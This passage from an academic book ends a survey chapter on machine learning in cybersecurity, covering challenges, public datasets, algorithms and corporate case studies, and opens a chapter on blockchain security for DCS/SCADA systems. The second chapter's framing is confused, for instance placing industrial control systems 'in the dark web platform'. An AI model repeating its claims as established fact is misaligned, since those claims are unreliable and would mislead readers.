security where ML plays a vital role. The authors discussed several applica-
tions of ML in cybersecurity, like power system security, industrial control 
systems, detection of cyberattacks, malware analysis, etc. The authors also 
highlighted the fact that ML can be exploited for malicious activities. They 
discussed possible adversary attacks by manipulation of training and test 
data for ML classifiers. Dasgupta et al. [11] presented a thorough survey 
on the usage of ML technology in cybersecurity. The authors described 
the cyberattacks and related defense strategies, mechanisms of commonly 
employed ML algorithms for cybersecurity. The authors highlighted the 
fact that ML algorithms may prove to be vulnerable against attacks both in 
the training and testing phases. Iyer [12] discussed cybercrime and appli-
cations of ML in cybersecurity. The authors raised the recent advancements 
and challenges in ML in the realm of cybersecurity. The authors also shed 
light on future trends and directions in ML and cybersecurity. 

Lakshmanarao and Shashi [13] presented a survey on ML on cyberse-
curity. The authors discussed various cybersecurity issues and proposed 
corresponding ML algorithms to deal with them. They commented that 
ML technology is not capable of automating a cybersecurity system com-
pletely but it surely helps to trace threats more effectively than any other 
software-oriented technique. The authors suggested that multi-layered 
models are needed to develop to attain high detection rates and to pro-
vide resilience against malware attacks. Sagar et al. [14] discussed real-
world requirements in security and ML applications to deal with them. 
They compared various ML models over some parameters and accuracy 
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results. The authors also discussed several possible adversarial attacks by 
which ML models can suffer. Sarker et al. [15] discussed issues and future 
prospectives related to cybersecurity data science. The authors developed 
a multilayered framework for cybersecurity modelling based on ML. They 
focused on applications of cybersecurity data science to protect systems 
against cyberattacks by developing data-based smart decision-making 
tools and services.

13.3 Machine Learning and Cybersecurity: Various 
Issues

Different organizations around the world have shown a significant inter-
est in implementing ML models for various purposes and security is one 
of them. The primary objective of ML applications in the cybersecurity 
framework is to make the security analysis process more effective and 
automated as compared to traditional cybersecurity systems. However, 
the ever-changing nature of cyber threats continually challenges security 
researchers to explore all the potentials threats in cybersecurity systems 
using ML approaches. In this section, we will discuss various issues related 
to various possible ML usage issues in cybersecurity.

13.3.1 Effectiveness of ML Technology in Cybersecurity 
Systems

These days, a variety of domains have incorporated ML models in their 
conventional security designs and the results reveal its superiority over 
traditional rule-based or signature-based algorithms. Various organiza-
tions around the world are generating a huge amount of data daily from 
various user activities, network data traffic, and many other electronic 
transactions. It is the job of a security analyst to observe various patterns 
in this data, so that suspicious or abnormal activity patterns can be iden-
tified. The real problem in this process is that it can be very challenging 
and time-consuming for security professionals to manually analyse such 
a massive amount of data for finding suspicious and abnormal patterns. 
On the other hand, machines are much more efficient than humans for 
recognizing patterns, and ML enables a digital device to learn and become 
more intelligent.

In the mechanism of Anti-virus software (AVS) packages, the malwares 
and viruses are recognised based on their signatures. Therefore, AVS can 
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only detect those malwares that match with a virus signature in the data-
base [8]. On the other hand, ML-based cybersecurity systems can learn 
with data and they have the capability to recognise known and unknown 
malwares. ML algorithms are gaining popularity and adoption in cyber-
security domains and their outcomes show unbelievable performance in 
detecting and preventing numerous cyberattacks [16]. Recent studies sug-
gest that it is hard to implement powerful first-level cybersecurity systems 
without relying on ML algorithms.

Many organizations across the world are now upgrading their secu-
rity systems with ML technology, and research analysts estimate that the 
market of ML in cybersecurity will rise to $96 billion by 2021. In con-
trast to conventional cybersecurity systems, the ML tends to enable the 
cybersecurity computing processes to be more actionable and intelligent 
even in unfamiliar circumstances. The effectiveness of ML in cybersecurity 
systems draws on its capability of pattern analysis which helps in quick 
decision making and ultimately prevents all possible known and unknown 
attacks. ML technology has the potential to handle massive data generated 
in diverse networks which makes it a profound security solution for various 
security issues such as user authentication, access control, firewall filtering, 
etc. [15]. ML-based security tools work by correlating the incoming data 
traffic and organising them in a particular pattern, scanning various poten-
tial threats, making a predictive analysis and forecasting the next attack.

The applications of ML in cybersecurity save a substantial amount of 
time and resources of an organization that might otherwise have been 
invested by cybersecurity analysts. ML techniques have been proved more 
effective in the cybersecurity domain for repetitive automatic tasks and 
this enabled security experts to focus on more important strategic issues. 
Many researchers believe that ML is an ideal solution for handling zero-
day cyber-attacks, it helps security professionals to potentially close vul-
nerabilities and stop patch exploits before they result in a data breach 
[17]. Supervised and unsupervised ML algorithms possess the capability 
of classifying and predicting a normal request and a malicious request 
using various statistical methods. Supervised algorithms are very effec-
tive in detecting denial of service (DoS) attacks, spoofing, and intrusion 
detection. On the other hand, unsupervised algorithms are mainly used 
for identifying anomalies, policy violations etc. Various modern ML such 
as DL, Convolutional Neural Network (CNN), Recurrent Neural Networks 
(RNN) etc. have been developed to strengthen attack detection capabilities 
as well as to reduce false positive and false negative approaches. Various 
studies reveal that intrusion detection and prevention system created using 
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CNN and RNN showed higher accuracy, low false alerts and takes less time 
in identifying malicious traffic across the network [18].

The effectiveness of ML models is directly proportional to the quality of 
data provided in the training and testing phases of the model. In general, 
ML can make cybersecurity more responsive, less expensive and far more 
effective if the data provided to the models reflect a complete picture of the 
environment.

13.3.2 Machine Learning Problems and Challenges 
in Cybersecurity

Some researchers have presented the various emerging ML issues and 
challenges in the domain of cybersecurity which requires contemporary 
methodologies to handle all these issues. We summarize some of these sig-
nificant problems and challenges below, ranging from data collection to 
decision making.

13.3.2.1 Lack of Appropriate Datasets

For ML technology to hold a major role in cybersecurity, the biggest chal-
lenge that has been observed by many researchers is the inaccessibility of 
appropriate datasets. All of the available cybersecurity datasets are obso-
lete and are not sufficient to understand the recent behaviour of different 
cyberattacks. Therefore, researchers cannot analyse all types of threats and 
vulnerabilities without comprehensive datasets [19].

13.3.2.2 Reduction in False Positives and False Negatives

Since most ML algorithms in the domain of cybersecurity are based on super-
vised and unsupervised approaches, therefore, they have a strong tendency 
to generate false positives and false negatives. A false positive is a prediction 
of the ML model where it incorrectly predicts the positive class of attacks, 
and a false negative is a vice versa case. Such misclassification of threats cre-
ates a serious problem for the security of any organization. The execution of 
ML algorithms generates an alert about the malicious request or a file but it 
cannot inform what precisely was malicious about the application [7]. 

13.3.2.3 Adversarial Machine Learning

Another major challenge with ML-based applications in cybersecurity is 
the intelligent adversary. The performance of any ML model is entirely 
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dependent on the quality of the data supplied to it during the training and 
testing phases. Therefore, the accuracy of ML models will be reduced dra-
matically if they are trained in noisy datasets. To deceive an ML model, an 
attacker can include a long harmless code alongside the malicious code. 
This may keep the ML algorithm busy in classification and regression 
cycles to read all the information. Such noise code is included to deviate 
the ML algorithm from the correct measurement of the correlation among 
malicious and normal packets. Recently, a few studies have shown that it 
is possible to fully bypass ML algorithms by embedding malicious code 
inside benign code and vice versa. To avoid all types of adversarial attacks, 
we need continuous retraining and careful parameter tuning that cannot 
be automatized [20].

13.3.2.4 Lack of Feature Engineering Techniques

The effectiveness of ML algorithms in cybersecurity depends on the quality 
and amount of data used to build ML models. Determining the appro-
priate data sources for training and testing of models and assessing the 
adequate amount of data for training ML models is a challenging task and 
it is related to the problem of feature engineering. This concern is one of 
the challenging phases in the development of ML models for cybersecurity 
tasks. In the context of datasets, features are the information that describes 
a given sample of data, and the process of pre-processing existing data to 
build new and more interesting features is known as feature engineering. 
The quality of features supplied to the model is more important than the 
number of features fed to the model. Thus, it is crucial to use the correct 
features to train the model. Despite these challenges, feature engineering is 
generally guided by domain knowledge, and this approach is usually inef-
fective with the complicated nature of cyber-data [21].

13.3.2.5 Context-Awareness in Cybersecurity

Most of the cybersecurity-related researches are conducted on real-time 
relevant datasets which contain several low-level features. After applying 
various data pre-processing treatments, data mining and ML techniques to 
these datasets, a new relationship can be identified among various features 
that describe datasets properly. However, contextual information such as 
temporal, spatial and correlation among events can be used to determine 
whether there exists a malicious activity in the network or not. Accordingly, 
a major drawback for cybersecurity using machine learning is the lack of 
using contextual information for predicting risks or attacks [22]. 
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13.3.3 Is Machine Learning Enough to Stop Cybercrime?

Since the last decade, ML and its accompanying technologies have 
brought a substantial revolution in the cybersecurity domain. The reason 
behind the success of ML in the realm of cybersecurity is its ability to 
rapidly scan a vast volume of data traffic and analyse them using statis-
tical techniques. However, the brains behind cybercrime are continually 
finding innovative ways to wreak havoc, steal your sensitive information 
and commit all kinds of disruption. Although ML has been continuously 
changing the cybersecurity landscape and preventing cyberattacks, we 
cannot entirely rely on it. Hackers and cybercriminals have already lever-
aged AI and ML for their malicious purposes. Even though many private 
and public organizations are applying ML to identify and mitigate cyber-
attacks more effectively than ever before, we still have a long way to go 
in developing highly effective data security systems [23]. Over-relying on 
ML in the domain of cybersecurity may develop a false sense of complete 
security. ML developers assume that a machine can learn everything 
from the data, but that is not always true; human intervention cannot be 
ignored and domain experts can play a crucial role in cybersecurity. ML 
is an emerging technology that needs to be significantly improved before 
solely relying on it. Many experts across the globe predict that AI and ML 
are surely going to be the future of cybersecurity, but with a bit of human 
supervision.

13.4 ML Datasets and Algorithms Used 
in Cybersecurity

With the modern-day smart threats of the cyberworld, researchers are now 
focusing on ML-based protection methods as one of the alternatives to 
traditional cybersecurity systems. Various studies have identified a vast set 
of ML tools, techniques, datasets and algorithms to prevent modern-day 
cyberattacks. This section presents various freely available datasets and 
popular ML algorithms used in cybersecurity functions. 

13.4.1 Study of Available ML-Driven Datasets Available 
for Cybersecurity

The effectiveness of ML is largely driven by the quality, completeness, 
relevance and availability of the datasets. In general, datasets repre-
sent a series of information records comprising many attributes or 
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characteristics and relevant details based on cybersecurity. Various stud-
ies have been conducted in the cybersecurity domain on the available 
datasets. There exist several datasets for different scenarios such as intru-
sion analysis, anomaly detection, fraud, malware analysis, spam analysis, 
detecting DDoS attacks, HTTP attacks, etc. In this section, we will briefly 
discuss some of the most used publicly available authentic security data-
sets for research purposes. 

13.4.1.1 KDD Cup 1999 Dataset (DARPA1998)

DARPA 1998 was one of the first datasets for intrusion detection to be 
made publicly accessible. The goal of this project was to develop a reli-
able and robust network intrusion detection system capable of distin-
guishing between intrusions and normal connections. A specific set of 
information to be audited is included in this dataset, which encompasses 
a broad range of intrusions simulated in a military network environment. 
This dataset contains four main types of attacks: Denial of service attack 
(DoS) User to Root attack (U2R), Remote to Local attack (R2L) and 
Probing attack. This dataset consists of 5,209,458 (approx.) instances for 
both training and testing purposes and each of which has 41 attributes 
and is classified as either normal or an attack [24]. The following link can 
be used to download the complete dataset: http://kdd.ics.uci.edu/databases/ 
kddcup99/kddcup99.html.

13.4.1.2 NSL-KDD Dataset

The NSL-KDD data set is a realistic representation of its predecessor KDD 
99 dataset, which includes a large number of redundant records, making it 
very difficult to accurately process the data. The number of records in the 
NSL-KDD dataset are substantial to conduct experiments. The following 
link can be used to download the complete dataset: http://205.174.165.80/
CICDataset/NSL-KDD/.

13.4.1.3 ECML-PKDD 2007 Discovery Challenge Dataset

The web traffic dataset, which was built for the ECML/PKDD 2007 
Discovery Challenge, is one of the widely used HTTP-labeled datasets. 
The key objectives of the challenge were identification of the attacks based 
on the context and isolation of the attack patterns from the requests. This 
dataset contains around 50,000 instances for training and testing ML mod-
els [25]. The dataset is available in XML format and contains the following 
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type of attack information: Cross-Site Scripting, LDAP Injection, SQL 
Injection, XPATH Injection, Path traversal, Command execution, Server-
Side Include (SSI) attacks. This dataset is available at http://www.lirmm.fr/
pkdd2007-challenge/index.html#dataset.

13.4.1.4 Malicious URL’s Detection Dataset

This dataset contains samples of malicious URLs from various major 
webmail providers. It reports 6,000-7,500 instances of spam and phish-
ing URLs per day. The data is collected by analysing and classifying URLs 
based on their lexical and host-based features. One of the ways used to 
collect malicious URLs is through extraction from email messages, where 
email classifier labels emails as spam and then they are verified malicious 
by human users. The following link can be used to download the complete 
dataset: http://www.sysnet.ucsd.edu/projects/url/.

13.4.1.5 ISOT (Information Security and Object Technology) 
Botnet Dataset

This dataset is a mixture of various existing malicious and non-malicious 
datasets which are available publicly. This security dataset contains 
approx. 1,675,424 records from the Honeynet project which consists 
of Storm and Waledac botnets. Waledac is one of the most widespread 
P2P botnets at present and is usually recognised as the successor of the 
Storm botnet with a more decentralised communication protocol. The 
researchers who built this dataset combined two different datasets one 
from the Traffic Lab at Ericsson Research in Hungary and the other from 
the Lawrence Berkeley National Lab (LBNL) to represent non-malicious 
traffic. The following link can be used to download the complete data set: 
https://www.uvic.ca/engineering/ece/isot/datasets/botnet-ransomware/
index.php.

13.4.1.6 CTU-13 Dataset

The CTU-13 dataset was developed at CTU University, Czech Republic, 
and it comprises an amalgamation of real botnet traffic with normal and 
background traffics. This dataset includes 13 different instances of various 
botnet samples and for each instance, a specific malware has been exe-
cuted with multiple protocols and actions. Each instance-related informa-
tion was collected in a pcap file with the extension ‘.pcap’ that contains 
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details about various incoming and outgoing packets. However, due to 
some privacy concerns, the complete pcap file containing all the back-
ground details, normal and botnet data are not available publicly. The fol-
lowing link can be used to download this dataset: https://mega.nz/folder/
vdRmBA6D#yMZXx74nnu8GjhdwSF54Sw.

13.4.1.7 MAWILab Anomaly Detection Dataset

MAWILab is a dataset used by researchers to evaluate their traffic anom-
aly detection methods. This dataset categorises network traffic anoma-
lies of the MAWI archive into the following sets or labels: notice, benign, 
suspicious, and anomalous. To effectively analyse and identify various 
anomaly-based attacks, the MAWILab dataset uses two distinct anomaly 
classification techniques: (1) simple heuristic approach based on port 
numbers, ICMP codes and TCP flags; (2) backbone traffic anomalies 
detection based on protocol headers and connection patterns. The fol-
lowing link can be used to download the dataset: http://www.fukuda- 
lab.org/mawilab/data.html.

13.4.1.8 ADFA-LD and ADFA-WD Datasets

In 2013, the Australian Defence Force Academy (ADFA) built two new 
datasets ADFA-LD and ADFA-WD for detecting intrusions in Linux and 
Window machines. Both of these datasets can effectively identify several 
types of modern intrusive attacks. ADFA datasets were developed specif-
ically for host-based intrusion detection systems (HIDS) and many stud-
ies show that these datasets are suitable in identifying zero-day malware 
attacks. These datasets were created to identify the accuracy that the HIDS 
can achieve with the help of various ML algorithms [26]. The complete 
data set can be downloaded from the following link: https://www.unsw.
adfa.edu.au/unsw-canberra-cyber/cybersecurity/ADFA-IDS-Datasets/. 
Table 13.1 presented below compares some important parameters of vari-
ous data sets discussed above.

13.4.2 Applications ML Algorithms in Cybersecurity Affairs

In this section, a few popular ML algorithms with their specific applica-
tions to various tasks of cybersecurity are discussed. In their work, Thomas 
et al. presented a detailed study of various ML algorithms and their appli-
cations to cybersecurity [27].
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13.4.2.1 Clustering

Clustering is a technique that combines similar signatures or patterns in a 
group or set. It partitions a given dataset into several sets called clusters, 
such that those signatures that belong to the same cluster have some com-
mon characteristics. The distance between two points that belong to the 
same cluster is shorter than the distance between the two points belonging 
to different clusters. This ML technique is applied to analyze applications 
and consequently group them as malicious or benign. It works on an input 
dataset which is a mixture of malwares and non-malwares or goodwares. 
The most commonly applied algorithms are k-means, fuzzy c-means, hier-
archical clustering, etc. [27].

13.4.2.2 Support Vector Machine (SVM)

SVM is a special ML technique that is supervised by nature and can be 
applied to both the problems of classification and regression. Regression 
ML models help in predicting continuous values. In cybersecurity, SVM 
is mostly used to solve classification problems, i.e., to differentiate mal-
ware from benign. Thus, SVM is used for malware detection by extract-
ing features from dataset first, and then constructing optimum hyperplane 
which distinguishes malicious codes and normal codes. SVM draws on 
techniques optimization, linear algebra and kernel to attain these goals.

13.4.2.3 Nearest Neighbor (NN)

NN is a supervised ML technique, given a data point, it endeavors to find 
all the neighbors and then assigns that data point to a class with the help of 
distance function. NN is also used for both the problems of regression and 
classification. In cybersecurity, NN is mainly applied for malware detec-
tion, intrusion detection and fingerprint recognition, etc. This technique 
employs two algorithms: k-nearest neighbors (k-NN) and radius based 
nearest neighbor. NN is a non-parametric and lazy learning technique by 
nature. 

13.4.2.4 Decision Tree

This ML technique can also be applied in regression and classifications 
problems. It works by constructing tree structures to identify the relation-
ship among data points. Such structures can be used to make precise pre-
dictions about the unseen data. Businesses endeavor to protect themselves 
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by employing the decision tree technique to predict cyberattacks. This 
technique can also be used to track intrusion signatures automatically and 
to categorize processes in a computer network as normal or intrusive.

13.4.2.5 Dimensionality Reduction

This ML technique is used to reduce the number of traits, where each 
trait is represented by dimension and corresponds to some data object. 
With the processes of feature selection and feature extraction, this tech-
nique reduces the sparseness of data. In cybersecurity, dimensionality 
reduction is used in anomaly and intrusion detection, face recognition, 
multi-modal biometrics etc. Diffusion maps, random projection and 
principal component analysis are some mathematical approaches to 
implement it.

13.5 Applications of Machine Learning in the Realm 
of Cybersecurity

These days ML in cybersecurity is a fast-growing trend across the globe. 
Many globally reputed companies are adopting contemporary technolo-
gies such as the Internet of Things (IoT), Big Data and AI. Therefore, with 
the development of new technologies, the demand for ML-based security 
solutions is also increasing. This section contains the case study of three 
globally recognized organizations and addresses how these organizations 
have been employing ML to better protect their services and customers’ 
data.

13.5.1 Facebook Monitors and Identifies Cybersecurity Threats 
with ML

The social media giant Facebook is now committed to enhancing its 
various security parameters such as user privacy permissions, limiting 
developer freedoms and handling fake profiles after the unforgettable 
Cambridge Analytica data scandal and the 2016 presidential election 
controversy. Therefore, under a multi-pronged strategy for improving 
security, Facebook is now emphasizing the adoption of ML techniques. 
Facebook has been using ML as a critical tool to protect users’ private 
data from unauthorised access. It enables security experts to proactively 
take actions prior to a security breach. According to Facebook, they 
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employed ML to drop approximately 2 billion fake accounts in 2019, 
before it could harm real users. To characterize each account, Facebook 
uses over 20,000 deep features and the data collected are used to train 
a neural network which is then fine-tuned with a small batch of high- 
precision hand-labelled data. ML enables Facebook to finally classify 
fake profiles against the following categories: (a) Fraudulent accounts 
that do not represent the person; (b) Hacked accounts of real users 
(authorised) that hackers have taken over; (c) Spammers who send reve-
nue-generating texts repeatedly; and (d) Scammers who exploit users to 
disclose private data.

Facebook recently announced the release of Opacus, a high-speed 
library for the implementation of differential privacy to train deep learn-
ing models using the PyTorch platform. These days the ML sector has been 
witnessing a considerable demand in differential privacy, which is a math-
ematically rigorous framework commonly used in analytics to measure 
sensitive data anonymization. Facebook is also using pattern matching ML 
algorithms to detect unusual login activities and to alert the user through 
an email. ML can analyse and classify massive volume of data with a con-
siderable speed which makes it appropriate for the task of separating nor-
mal user behaviour from abnormal activities. Apart from these techniques, 
Facebook has also been using ML for many tasks like automatic face recog-
nition for tagging, fake news detection, friend suggestions, language trans-
lation, identifying abusive posts etc.

13.5.2 Microsoft Employs ML for Security

The Microsoft corporation operates in various products and services seg-
ments like Devices and Consumer (D&C) licensing, commercial licensing, 
D&C hardware, etc. The Microsoft corporation develops, manufactures, 
licenses and sells many types of software (application and system) for 
PCs and server systems. To overcome all kinds of modern cybersecurity 
threats. Microsoft has been encouraging the incorporation of ML tech-
niques as part of its comprehensive security strategy. For preventive pro-
tection, Microsoft uses its ML-based cybersecurity platform by the name of 
Windows Defender Advanced Threat Protection (WDATP) for breach detec-
tion, automated analysis and response. WDATP has been programmed 
into the Windows 10 operating system which automatically updates and 
uses multiple levels of ML algorithms to detect threats. Microsoft handles 
a large volume of diverse data. Therefore, Microsoft’s security solutions are 
trained on 8 trillion daily threat signals from a wide variety of products, 
services, etc. See Figure 13.1 [28].
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In its latest research, Microsoft developed a cyberattack threat matrix, 
known as Adversarial Machine Learning Threat Matrix (AMLTM). The 
AMLTM aims to locate attacks on ML systems which will help security ana-
lysts to take preventive measures against upcoming and current attacks [28].

13.5.3 Applications of ML by Google

Google specialises in services and products related to the Internet, includ-
ing digital advertising technology, search engines, cloud computing, soft-
ware and hardware. According to the Google corporation, 50-70% of all 
emails in Gmail are spam that can be easily classified with the help of ML 
with 99% accuracy. Google also employs ML to identify threats against 
mobile devices running on the Android operating system and removing 
malicious applications from infected handsets. Google has incorporated 
ML in the G-Suite platform to prevent it from various phishing attacks 
and to avoid spam. The anti-phishing ML technique works by delaying a 
suspicious message to process the malicious URLs in the backend. As soon 
as the ML model observes some new unknown patterns in the processed 
data, it immediately responds which would have not been possible with 
normal or manual systems. Google applies ML in understanding various 
potentially harmful applications which encourage operations through 
remote places on mobile phones. To ensure comprehensive security of cus-
tomers data, Google cloud uses ML to provide in-depth control and visibil-
ity of their data. 

Microsoft Intelligent Security Graph
Unique insights, informed by trillions of signals

470B
emails

analyzed

8.2T
threat signals
analyzed daily

15T
Security events

correlated monthly

200+
global cloud consumer
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Azure user
accounts
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authentications
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Figure 13.1 Modules of Microsoft’s security solutions.
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13.6 Conclusions

ML techniques are being widely used for various real-world applications 
and cybersecurity practitioners have adopted them to protect cyber-facets 
of their organizations. Since the past decade, extensive research studies 
have been carried out on the cybersecurity applications of ML technolo-
gies. The present chapter discusses how do the ML approaches resolve dif-
ferent issues that exist in traditional cybersecurity systems. The adaptation 
of ML in cybersecurity helps in developing automated security systems 
which complement the shortage of security experts. ML-based automated 
cybersecurity systems enable various organizations to invest less in human 
resources and to analyze data more accurately than human analysts. The 
importance of data preparation in the ML modelling is presented and the 
impact of correctly trained ML models to reduce false-positive rates and 
to detect modern cyberattacks are discussed. Various problems and chal-
lenges faced by researchers while integrating cybersecurity and ML algo-
rithms have been investigated. The present chapter also explains some of 
the popular cybersecurity datasets and ML algorithms along with a pre-
cise comparison of datasets. It is concluded that the automated potential 
of ML should not be overestimated since human intervention cannot be 
neglected in critical security scenarios where domain experts play a key 
role.
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Abstract
Blockchain will become the world’s most basic technology — to go ahead. The 
revolution has actually already begun. The advent of distributed control system 
(DCS) and supervisory control and data acquisition (SCADA) has led to the 
necessity for automation, connection, and stable IoT Security systems from the 
dark web. There are no autonomous decision-making and real-time connectivity 
capabilities in existing innovative structures, a requirement for flexible, complex 
development systems. This research introduces to these tests an independent, 
stable, and interactive Blockchain-based framework. To connect computers, con-
sumers, tools, dark web supplier, and other peers, it is possible to build with the 
Internet of Things (IoT) and cloud services in support of the proposed software. 
The recommendation would check the argument with a small, real-life IoT net-
work blockchain using the Smart Contract functionality and reliable pair to open 
ledger functionality. A private Blockchain would operate on one board unit and 
bridge this case study to a micro-controller with IoT sensors. Distributed control 
system (DCS) and supervisory control and data acquisition (SCADA) in the dark 
web platform have been introduced to implement this device to study and analyze 
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the existing approach with IoT-Towards Automated IoT Industry to improve the 
security system using blockchain technology.

Keywords: Distributed control system (DCS), supervisory control and data 
acquisition (SCADA), blockchain, security, IoT, dark web, cyber terrorist

14.1 Introduction

Blockchain is the world’s most stormy distributed ledger technology. 
This research work  focuses on the process of (DCS and SCADA) in 
darkweb platform for applying the new technology. It was introduced 
in 2008, creating waves in every darkweb platform to period. First, the 
upcoming pattern of the Automated IoT Industry must be considered to 
understand its use. This is a novel process for transforming the industry’s 
old technology to a new technology process with efficient security sys-
tem to combine the DCS and SCADA working process with the help of 
Blockchain and machine learning algorithms and make all of the process 
secure and smart. It develops the existing output methods using the lat-
est technology and the Internet [1]. The modern trends are an excellent 
way to make progress in IoT data security and the exchange of digital 
data, together with full automation, possible through the newest digital 
world. It concentrates on the simple concept of real-time information, 
automated decisions, and physical computer structures. Smart factories 
are created around mobile devices [2]—the main idea of the automated 
IoT industry. In the automated IoT industry, IoT (Internet of Things) 
and mobile applications are developing technologies. The automated IoT 
industry is an Industry 3.0 jump where data has only been monitored and 
automated. The machine is now more than supervised and controlled – 
it can talk, interpret and decide for itself. The Cyber-Physical Systems 
(CPS) name is created [3]. Figure 14.1 outlines the Industrial IoT: Threats 
and Countermeasures [7].

Blockchain is an integral part of the development of the automated 
IoT industry. This study analyzes its use in the DCS and SCADA for IoT 
data security used in the dark web—using case analysis and details on its 
application in the automation industry. The major disadvantage of mov-
ing towards a Smart production system is that there’s no autonomous and 
security, not fully smart system, self-decision making, transparent and 
need to secure system for communication real-time, users and machines 
on. Here, blockchain steps are: provide a forum for power decentraliza-
tion, automated decision-making, and a stable horizontal and vertical 
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integration network. Smart contracts are the perfect response to this 
final result. The Blockchain is stable, decentralized, distributed, and 
has autonomous functionality. This research aims to propose a new and 
intelligent algorithm for improving the security of DCS and SCADA 
manufacturing units with Blockchain and machine learning, through 
this algorithm improving the decision-making process in the IoT data 
security industry working. The online platform is highly susceptible to 
cyber attackers and terrorists working on the dark web environment 
and working as a freelancer for getting hired to perform illicit activities, 
because they are getting massive amounts of money using cryptocur-
rency and transferring the money across the world by money laundering 
tactics. Industrial automation, control, and protection systems used in 
IoT automation payment, oil and gas are increasingly digitized and reli-
ant on social network purchases online. Formerly, such solutions were 
proprietary, although now are mostly built on publicly accessible mate-
rials, ensuring the established weaknesses of such commercial com-
modity devices would also be revealed in the field. In Figure 14.2, the 
hierarchal structure at the ground level contains sensors and devices, 
at the third level infrastructure development, and at the second level 
security and ecosystems. The structure concludes in the global econo-
my’s overall impact. Figure 14.2 shows the Hierarchal structure of IoT 
functionality layers.
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Figure 14.1 Industrial IoT: threats and countermeasures.
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Dark Web Susceptibilities:
• Anonymous platform makes it less interested among employ-

ees and results in fewer security protocols being followed.
• Ransomware on call is available on the dark web by open 

hackers.
• Lack of dark web and cyber terrorist-related awareness and 

knowledge among online users.
• Hidden Internet service provider status.
• Less knowledge about how online social requests can be 

blocked or managed.
• Issue and drastic nature of the online social network, if not 

used under security producers.

Impact on
Global Economy

Services and
Ecosystems

Infrastructure

Sensors and
Devices

Figure 14.2 Hierarchal structure of IoT functionality layers.PROOF
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• Use of pirated software and unidentified hardware.
• Unavailability of security check at online social platform 

accessing.

Darkweb hackers uses virus, malware to hack IoT stations, which can 
only be released by paying ransom to the program designer, which costs 
millions of dollars. When an operator opens an SMS or email containing 
a suspicious link, the network moves to a back-door software installed 
on the system. It is quite easy for attackers to get access to all the data 
stored on the system; the information could be used to blackmail account 
users or be sold on the dark web platform so others can take illegal ben-
efit of the stolen data. Several analysis work has been undertaken to ana-
lyze extremist cell network or illegal behavior. The Dark web Research is 
such a work that the intelligence analysis is the method of analyzing and 
translating raw data obtained covertly into definitions, interpretations and 
conclusions. This research may be extended to intelligence sources; for 
instance, Signals Intelligence, knowledge obtained from an electronic sig-
nal; Imagery Intelligence, researching a picture and its context; and Open 
Access Intelligence, storing and reviewing information commonly acces-
sible to the public. Dark web research relies on open access material or 
knowledge.

Security agencies are working in the development of criminal network 
analysis for tracking criminal activities. Approaches begin with manual 
analysis. A researcher creates a relationship matrix by defining raw-data 
criminal relationships. Then a graphic-based method is proposed to auto-
matically produce crime network graphic representation. Social Network 
Analysis (SNA) is a graph-based approach for evaluating a group or pop-
ulation’s network structure and social activity effect. SNA researched 
numerous real-world networks. Dark web platforms are also used for SNA 
analysis because by nature it can archive virtually all contact history of the 
users, and SNA messages can be quickly accessed on business-related web 
forums to recognize hot topics. SNA adoption for the analysis of dark web 
forums may help classify interactions among forum participants. Figure 
14.3 shows an event-based approach for protection of IoT networks.

Organization of Chapter:
The rest of the chapter is outlined as follows. Section 2 shows the signif-
icance of security improvement in DCS and SCADA; section 3 shows 
related work; section 4 outlines proposed methodology, section 5 shows 
result analysis; finally, section 6 concludes this chapter.
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14.2 Significance of Security Improvement in DCS 
and SCADA

DCS and SCADA make up the new, innovative technological transition that 
combines existing manufacturing processes [8] with new technologies. With 
improved automation and innovative technologies, current manufacturing 
processes are changing. It focuses on cyber- physical  structures—processes 
that are interconnected, managed, or monitored using computer-based 
algorithms. A robot, automated processing and artificial intelligence, nan-
otechnologies, and so on are all involved. DCS and SCADA focus on con-
necting physical objects to knowledge processing and virtual artifacts and 
processes through the knowledge network. Eleven major innovations rev-
olutionize DCS and SCADA:

• The first advanced technology is Cloud computing
• Second is used for improving the Cybersecurity system
• Industrial Internet of Things
• We have several vertical processes for improvement and 

horizontal process
• Simulation of the industrial process
• Involve Autonomous devices just like machine robot
• The significant data classification process
• Virtual reality
• The production process is additive
• We are applying blockchain technology to improve the system.
• The focus is on inter-connectivity, automation, learning 

machines, and data in real-time.
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Figure 14.3 An event-based approach for the protection of IoT networks.
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14.3 Related Work

Blockchain technology enables all network members to build a public 
registry with some activity and exchange the record. It is a transactional 
process that is used for various data structures, whether it’s exchanging 
properties, information, or data among network participants [3]. The pub-
lic ledger archive is exchanged by all participants of the open network, mir-
rored and synchronized. Blockchain is a distributed ledger-based protocol 
where authority is decentralized. The Blockchain’s authority is divided 
among network participants. So the Blockchain is regulated by agreement 
about the documents being attached to the database. As it is a set of blocks 
that bind together to create a chain, the Blockchain is so named. A block 
includes the various transaction data or transaction information. This doc-
ument, which is attached to the block, is validated by a timestamp and 
a special cryptographic signature. Continuous recording for all network 
transactions is an audible, unchangeable record. The Blockchain is irre-
versible, stable, and tamper-evident. All network member nodes share 
a copy of the records (ledger). The Blockchain acts as a group without a 
central agency or third-party mediator. To connect chains, cryptographic 
hashing is used. Members’ nodes on a blockchain network make the ledger 
information evident by using a consensus mechanism [4]. By authenticat-
ing documentation and blocking it by using encryption hazards and digital 
signatures, the transaction’s validity is established. 

The block itself. Each node has the same duplicate booklets. That means 
that illegal purchases are minimized, as the same adjustment will be made 
at precisely the exact moment in some instances – to prevent being detected 
in order to get away with cheating. If even one anomaly is found, all copies 
of the ledger on all network nodes must be checked against. It is the method 
used to decentralize power [5]. A cryptographic strategy such as the algo-
rithm SHA256 is used. This means that even the slightest input adjustment 
results in a new hash value, which implies a modified database. When we 
have evidence that the transaction’s sender or input party is legitimate, a 
private key is provided to each node—and this is used as a digital signature. 
Unless more than 50 percent of users are unfaithful, the system can not be 
controlled or undermined by a single user. The same network protocols 
apply to everybody, which decentralizes the powers of all members. The 
idea behind Blockchain is based on the premise that a substantial portion 
of the crowd can be trusted [6]. Table 14.1 shows the Comparison of dif-
ferent studies carried out to detect different attacks in Distributed Control 
Systems. Smart contracts are used to execute automatically. Control and 
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perform various functions in the domain of blockchain technology. Smart 
contracts are generally used in Bitcoin, Etherium, Ripple and Tezos [23] 
[24]. Intelligent contracts’ main advantages are accuracy, transparency, 
speed, storage and backup, and trust [25]. Smart contracts can be used in 
security in various domains like finance, banking, and health informatics 
[26]. 

14.4 Proposed Methodology

Security Improvement Technique for the distributed control system (DCS) 
and supervisory control and data acquisition (SCADA) Using Blockchain 
at dark web platform the work has shown that blockchain technology can 
provide the requisite safe IoT connectivity network as well as a democratic 
decision-making mechanism. The proposed method may also be general-
ized and utilized for a variety of applications. The suggested solution model 
is based on the automated IoT industry concept [6], which offers an inno-
